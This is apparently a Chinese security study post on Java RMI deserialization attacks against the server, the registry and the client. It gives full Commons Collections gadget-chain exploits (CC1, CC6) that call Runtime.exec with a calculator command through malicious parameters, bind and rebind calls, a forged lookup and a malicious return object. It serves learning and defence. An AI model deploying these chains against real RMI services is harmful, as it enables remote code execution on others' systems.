java RMI反序列化-攻击篇
在上面的 RMI 调用过程中我们可以发现,全部的通信流程均通过反序列化实现,而且在三个角色中均进行了反序列化的操作。那也就说明针对三端都有攻击的可能,我们依次来看一下。
攻击 server 端
恶意方法
远程方法的调用实际发生在服务端。当注册的远程对象上存在某个恶意方法,我们可以在客户端调用这个方法来攻击客户端,最简单的一种
恶意参数
在调用远程方法,会触发代理类的 invoke 方法,方法中会获取服务端创建的 Stub,会在本地调用这个 Stub 并传递参数,序列化这个参数,然后在服务端会对这个参数进行反序列化,上面已经详细说明过了。
那么就可以构造恶意 Object 型参数。利用 CC1 的 lazymap 链
package org.example;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy;
public class cilent {
public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Object execObject = getexec();
System.out.println(Arrays.toString(registry.list()));
RMIinter stub = (RMIinter) registry.lookup("Hello");
System.out.println(stub.hello(execObject));
}
private static Object getexec() throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","111");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
InvocationHandler handler = (InvocationHandler) c.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClass().getClassLoader(), new Class[]{Map.class}, handler);
Object o = c.newInstance(Target.class, proxyMap);
return o;
}
}
服务端也需要 cc1 依赖,简单调试一番可以看到会调用到 AnnotationInvocationHandler.readobject
剩下的就不用多说了和 cc1 一样,当然其他链子都行,比如 cc6 起码可以打打其他 jdk 版本
package org.example;
import java.lang.reflect.*;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
public class cilent {
public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Object execObject = getexec();
System.out.println(Arrays.toString(registry.list()));
RMIinter stub = (RMIinter) registry.lookup("Hello");
System.out.println(stub.hello(execObject));
}
private static Object getexec() throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"gaoren");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
return hashmap;
}
}
其他的如法炮制就是了。
替身攻击
在讨论对 Server 端的攻击时,还出现了另外一种针对参数的攻击思路——–替身攻击。依旧是用来绕过当参数不是 Object,是指定类型,但是还想触发反序列化的一种讨论。
大体的思路就是调用的方法参数是 HelloObject
,而攻击者希望使用 CC 链来反序列化,比如使用了一个入口点为 HashMap 的 POC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI 的校验机制。
攻击 Registry 端
前面看到在使用 Registry 时,首先由 Server 端向 Registry 端绑定服务对象,这个对象是一个 Server 端生成的动态代理类,Registry 端会反序列化这个类并存在自己的 RegistryImpl 的 bindings 中,以供后续的查询,这里可以进行一个利用。
Naming.bind("rmi://127.0.0.1:1099/sayHello", new RemoteObjImpl());
也可以从客户端进行攻击,上面看到会调用 RegistryImpl_Skel.dispatch
,最后里面是存在反序列化的,也可以利用。RegistryImpl_Skel.dispatch
里面对应关系如下
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
list
没有反序列化,所以也就无法攻击了。
bind&rebind
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
是有 readobject 方法的,可以进行反序列化攻击。看到都是获取 var2 的流然后进行反序列化,看看 var2 是什么
看到师傅说这就是一个远程对象,也就是这两个方法会用 readObject 读出参数名和远程对象。
所以还是 CC1 的 poc
package org.example;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy;
public class cilent {
public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
innermap.put("value","111");
Map map = LazyMap.decorate(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));
registry.bind("test",r);
}
}
unbind&lookup
也存在反序列化
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
也有调用 readobject 方法,但是和 bind 以及 rebind 不一样的是只能传入 String 类型,这里我们可以通过伪造连接请求进行利用,修改 lookup 方法代码使其可以传入对象,原先的 lookup 方法
poc 直接抄的师傅们的了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}
攻击 Client 端
上面看到远程方法返回了一个命令执行结果到客户端,客户端会对其进行反序列化。意思是让返回结果为恶意对象就行。
这个就得服务端返回一个 object 对象了
服务端
package org.example;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.lang.reflect.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.util.HashMap;
import java.util.Map;
public class RMIobj extends UnicastRemoteObject implements RMIinter {
protected RMIobj() throws RemoteException {
super();
}
public Object hello() throws RemoteException ,Exception{
InvocationHandler handler = null;
try {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
}catch(Exception e){
e.printStackTrace();
}
return (Object)handler;
}
}
客户端进行调用
package org.example;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
public class cilent {
public static void main(String[] args)throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
System.out.println(Arrays.toString(registry.list()));
RMIinter stub = (RMIinter) registry.lookup("Hello");
stub.hello();
}
}
参考:https://su18.org/post/rmi-attack/#2-攻击-registry-端
参考:https://nivi4.notion.site/Java-RMI-8eae42201b154ecc89455a480bcfc164
参考:https://xz.aliyun.com/t/9053?time__1311=n4%2BxnD0DuAiti%3DGkD9D0x05Sb%2BDOSYKaNTNaTek4D#toc-1